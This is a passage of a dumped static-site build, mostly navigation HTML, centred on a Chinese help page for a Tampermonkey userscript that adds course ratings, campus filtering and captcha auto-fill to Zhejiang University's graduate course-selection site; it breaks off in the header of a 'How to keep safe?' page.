aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n    \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--active md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" checked>\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"true\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n    \n  \n  \n    <li class=\"md-nav__item md-nav__item--active\">\n      \n      <input class=\"md-nav__toggle md-toggle\" type=\"checkbox\" id=\"__toc\">\n      \n      \n        \n      \n      \n        <label class=\"md-nav__link md-nav__link--active\" for=\"__toc\">\n          ZJU grs helper\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <a href=\"./\" class=\"md-nav__link md-nav__link--active\">\n        ZJU grs helper\n      </a>\n      \n        \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    安装方法\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"安装方法\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    配置项\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    使用方法\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    欢迎反馈与贡献\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n      \n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n    \n  \n  \n    <label class=\"md-nav__title\" for=\"__toc\">\n      <span class=\"md-nav__icon md-icon\"></span>\n      Table of contents\n    </label>\n    <ul class=\"md-nav__list\" data-md-component=\"toc\" data-md-scrollfix>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_1\" class=\"md-nav__link\">\n    安装方法\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"安装方法\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_2\" class=\"md-nav__link\">\n    配置项\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_3\" class=\"md-nav__link\">\n    使用方法\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_4\" class=\"md-nav__link\">\n    欢迎反馈与贡献\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"zju-grs-helper\">ZJU grs helper 浙大研究生选课助手<a class=\"headerlink\" href=\"#zju-grs-helper\" title=\"Permanent link\">&para;</a></h1>\n<p>版本: v0.5.0</p>\n<p>目前的功能列表：</p>\n<ul>\n<li>“全校开课情况查询”页面 直接进入选课——不再迷茫于没开的课程</li>\n<li>整合查老师分数与评论显示，选课界面直接看评分——选个好点的老师呗</li>\n<li>只看特定校区的课程班级——不想校区间奔波？减轻人工筛选负担</li>\n<li>禁用顶部鼠标切换事件，不用再小心翼翼地移动鼠标</li>\n<li>登录页面自动识别验证码 如果识别有误可以点击验证码图片再次识别</li>\n</ul>\n<h2 id=\"_1\">安装方法<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<p><a href=\"https://sspai.com/post/40485\">用 Chrome 的人都需要知道的「神器」扩展：Tampermonkey使用详解</a></p>\n<p>然后戳这个链接 确认安装：</p>\n<p>https://github.com/zjuchenyuan/notebook/raw/master/code/zju_grs_helper.user.js</p>\n<p>然后就能进入选课咯：如全校开课情况查询</p>\n<p>http://grs.zju.edu.cn/py/page/student/lnsjCxdc.htm</p>\n<p>在使用过程中 遇到以下弹框请务必选择<strong>总是允许域名</strong></p>\n<p><img alt=\"\" src=\"https://py3.io/assets/img/grshelper_note2.jpg\" /></p>\n<p><em>谁能教教我为啥用<code>@connect chalaoshi.cn</code>就是不行啊</em></p>\n<h3 id=\"_2\">配置项<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h3>\n<p>只显示特定校区课程：修改代码中的<code>CONFIG_XQ</code>变量</p>\n<h2 id=\"_3\">使用方法<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h2>\n<ol>\n<li>登录选课网站 http://grs.zju.edu.cn/allogene/page/home.htm</li>\n<li>打开“全校开课情况查询”页面（<code>培养</code>的最右侧项） http://grs.zju.edu.cn/py/page/student/lnsjCxdc.htm</li>\n<li>\n<p>选择<code>开课学院</code>，例如<code>经济学院</code>，查询 </p>\n<p><img alt=\"\" src=\"https://py3.io/assets/img/grshelper_note1.jpg\" /></p>\n<p>可见<code>开课号</code>现在可以点击，找到你想选的课程，即可进入选课</p>\n</li>\n<li>\n<p>在选课列表中显示<a href=\"https://chalaoshi.soobb.com\">查老师网站</a>上的评分数据（如果有多条数据则都显示）</p>\n<p><img alt=\"\" src=\"https://py3.io/assets/img/grshelper_note3.png\" /></p>\n</li>\n<li>\n<p>可以点开评分数据查看评论 虽然现在样式emmmm</p>\n<p><img alt=\"\" src=\"https://py3.io/assets/img/grshelper_note4.png\" /></p>\n</li>\n</ol>\n<h2 id=\"_4\">欢迎反馈与贡献<a class=\"headerlink\" href=\"#_4\" title=\"Permanent link\">&para;</a></h2>\n<p>使用遇到bug？需要更多功能？来提个issue吧：</p>\n<p>https://github.com/zjuchenyuan/notebook/issues</p>\n<p>欢迎给个star咯：</p>\n<p>https://github.com/zjuchenyuan/notebook</p>\n\n\n\n\n\n                \n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"..\", \"features\": [], \"search\": \"../assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"../assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"../assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"../assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/谈谈安全/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>How to keep safe? - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#how-to-keep-safe\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              How to keep safe?\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button 